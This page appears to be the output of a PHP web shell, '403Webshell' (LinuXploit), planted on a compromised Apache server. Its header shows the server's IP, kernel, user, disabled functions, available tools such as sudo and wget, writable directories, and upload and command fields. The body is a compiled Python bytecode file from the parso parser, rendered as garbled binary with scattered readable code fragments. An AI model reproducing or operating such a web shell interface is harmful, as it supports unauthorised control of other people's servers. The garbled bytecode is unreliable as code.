403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/parso/python/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/parso/python/__pycache__/parser.cpython-312.pyc
�

̑�a����ddlmZddlmZddlmZejZejZejZGd�de�Z	y)�)�tree)�PythonTokenTypes)�
BaseParserc�@��eZdZdZidej
�dej�dej�dej�dej�dej�dej�d	ej�d
ej�dej�dej�d
ej�dej�dej�dej�dej�dej�ej ej"ej$ej&ej(ej*ej,ej.ej.ej0d�
�Zej4Zej:ej<ej>ej@ejBejDejFejHejJejLejNejPejRejTiZ+d�fd�	Z,�fd�Z-d�Z.d�Z/�fd�Z0d�Z1d�Z2�xZ3S)�Parserz�
    This class is used to parse a Python file, it then divides them into a
    class structure of different scopes.

    :param pgen_grammar: The grammar object of pgen2. Loaded by load_grammar.
    �	expr_stmt�classdef�funcdef�
file_input�import_name�import_from�
break_stmt�
continue_stmt�return_stmt�
raise_stmt�
yield_expr�del_stmt�	pass_stmt�global_stmt�
nonlocal_stmt�
print_stmt�assert_stmt)
�if_stmt�	with_stmt�for_stmt�
while_stmt�try_stmt�
sync_comp_for�	decorator�lambdef�lambdef_nocond�namedexpr_testc�T��t�|�|||��g|_g|_d|_y)N)�error_recoveryr)�super�__init__�
syntax_errors�_omit_dedent_list�_indent_counter)�self�pgen_grammarr$�start_nonterminal�	__class__s    ��5/usr/lib/python3/dist-packages/parso/python/parser.pyr&zParser.__init__@s7���
����'8�(6�	�	8� ���!#��� ���c���|jr&|jdk7rt�|j|�}t�|�|�S)Nr)�_error_recovery�_start_nonterminal�NotImplementedError�_recovery_tokenizer%�parse)r*�tokensr-s  �r.r5zParser.parseHs?�������&�&�,�6�)�)��,�,�V�4�F��w�}�V�$�$r/c��	|j||�}|S#t$r'|dk(r|dg|ddz}|j||�}Y|SwxYw)a
        Convert raw node information to a PythonBaseNode instance.

        This is passed to the parser driver which calls it whenever a reduction of a
        grammar rule produces a new complete node, so that the tree is build
        strictly bottom-up.
        �suiter����)�node_map�KeyError�default_node)r*�nonterminal�children�nodes    r.�convert_nodezParser.convert_nodeQsk��		<�-�4�=�=��-�h�7�D�����	<��g�%�
%�Q�K�=�8�A�b�>�9���$�$�[�(�;�D���	<�s��,A	�A	c��|tk(rF||jjvrtj|||�Stj
|||�S|jj|tj�|||�S)N)	�NAME�
_pgen_grammar�reserved_syntax_stringsr�Keyword�Name�	_leaf_map�get�Operator)r*�type�value�prefix�	start_poss     r.�convert_leafzParser.convert_leafesi���4�<���*�*�B�B�B��|�|�E�9�f�=�=��y�y��	�6�:�:�6�t�~�~�!�!�$��
�
�6�u�i��P�Pr/c���|jdj}|r|dj�}nd}|jdk(�r|jt
jk(sI|jtk(r�|jjd�s�|jjd�s�|jdjjdk(r�	|jdjjt
j}|jjr<|j s0|j|jd_
|j#|�y|j&st(�
|�U|�Sd�}||j�}|j-|dz�r|j#|�n|\}}}	}
|t.k(r%|j0j3|j4�t7j8|j:||	|
�}|jdjj3|�|jd}|j<dk(r 	|jj>d	|_
yy#t$$rY�� wxYw#t$$rYywxYw)
Nr:r�
�
�simple_stmtc���ttt|���D]B\}}|jdk(r|S|jdk(s�(t	|j
�dk7s�A|SS)Nrr8�)�reversed�list�	enumerater>�len�nodes)�stack�until_index�
stack_nodes   r.�
current_suitez,Parser.error_recovery.<locals>.current_suite�sv��,4�D��5�9I�4J�+K�	
�'��Z��)�)�\�9����
 �+�+�w�6��:�+�+�,��1����	
��r/rUr8�stmt) r[rZ�
get_last_leafr2rKr�	ENDMARKER�DEDENTrL�endswith�dfa�	from_rule�transitions�NEWLINE�next_dfa�is_final�
dfa_pushes�
_add_tokenr<r1r%r$�_stack_removal�INDENTr(�appendr)r�PythonErrorLeaf�namer>�arcs)r*�token�	tos_nodes�	last_leaf�planr^r\�typrLrNrM�
error_leaf�tosr-s             �r.r$zParser.error_recoveryos����J�J�r�N�(�(�	��!�"�
�3�3�5�I��I��"�"�l�2����/�9�9�9��J�J�&�(����1I�1I�$�1O�"���1�1�$�7�
�z�z�"�~�!�!�+�+�}�<�
��:�:�b�>�-�-�9�9�:J�:R�:R�S�D��}�}�-�-�d�o�o�.2�]�]��
�
�2��*�����.���#�#��7�)�%�0�0�
	�$�D�J�J�/�����{�Q��/��O�O�E�"�,1�)�C��	�6��f�}��&�&�-�-�d�.B�.B�C��-�-�c�h�h��y�&�Q�J��J�J�r�N� � �'�'�
�3��j�j��n���?�?�g�%�
��'�'�,�,�v�.���	&��W �����`�
��
�s$�4I*�
I:�*	I7�6I7�:	J�Jc�$�|j|dD��cgc]}|jD]}|���}}}|r@tj|�}|j|dz
jj	|�g|j|dt|�Scc}}w)NrU)r[rZr�PythonErrorNodern�bool)r*�start_indexr]r@�	all_nodess     r.rlzParser._stack_removal�s���,0�J�J�{�|�,D�b�j�Q[�Qa�Qa�b��T�b�T�b�	�b���'�'�	�2�D��J�J�{�Q��'�-�-�4�4�T�:�#%��
�
�;�<� ��I����cs�Bc#�2K�|D]�}|d}|tk(r\|j}|r8|d|jk(r&|j�|xjdzc_�W|xjdzc_n|tk(r|xjdz
c_|����y�w)Nrr:rU)rbr(r)�poprm)r*r6rrrv�os     r.r4zParser._recovery_tokenize�s������	�E���(�C��f�}��*�*����2��$�"6�"6�6��E�E�G��(�(�A�-�(���$�$��)�$�����$�$��)�$��K�	�s�BB)Tr)4�__name__�
__module__�__qualname__�__doc__r�ExprStmt�Class�Function�Module�
ImportName�
ImportFrom�KeywordStatement�
ReturnStmt�	YieldExpr�
GlobalStmt�
AssertStmt�IfStmt�WithStmt�ForStmt�	WhileStmt�TryStmt�SyncCompFor�	Decorator�Lambda�	NamedExprr;�
PythonNoder=r�STRING�String�NUMBER�Numberrg�Newlinera�	EndMarker�FSTRING_STRING�
FStringString�
FSTRING_START�FStringStart�FSTRING_END�
FStringEndrHr&r5rArOr$rlr4�
__classcell__)r-s@r.rrs"������T�]�]���D�J�J��	�4�=�=��	�d�k�k�	�
	�t����	�t���
�	�d�+�+��	��.�.��	�t����	�d�+�+��	�d�n�n��	�D�)�)��	�T�*�*��	�t����	��.�.�� 	�d�+�+�!�"	�t���#�$�;�;��]�]��L�L��n�n��L�L��)�)��^�^��;�;��+�+��.�.�=�H�@�?�?�L�	������������� � �$�,�,��"�"�D�N�N��'�'��);�);��&�&��(9�(9��$�$�d�o�o��I�!�%��(Q�D�L�r/rN)
�parso.pythonr�parso.python.tokenr�parso.parserrrCrmrbr�r/r.�<module>r�s?���/�#�����	�	 �	 ��	�	 �	 ��C�Z�Cr/

Youez - 2016 - github.com/yon3zu
LinuXploit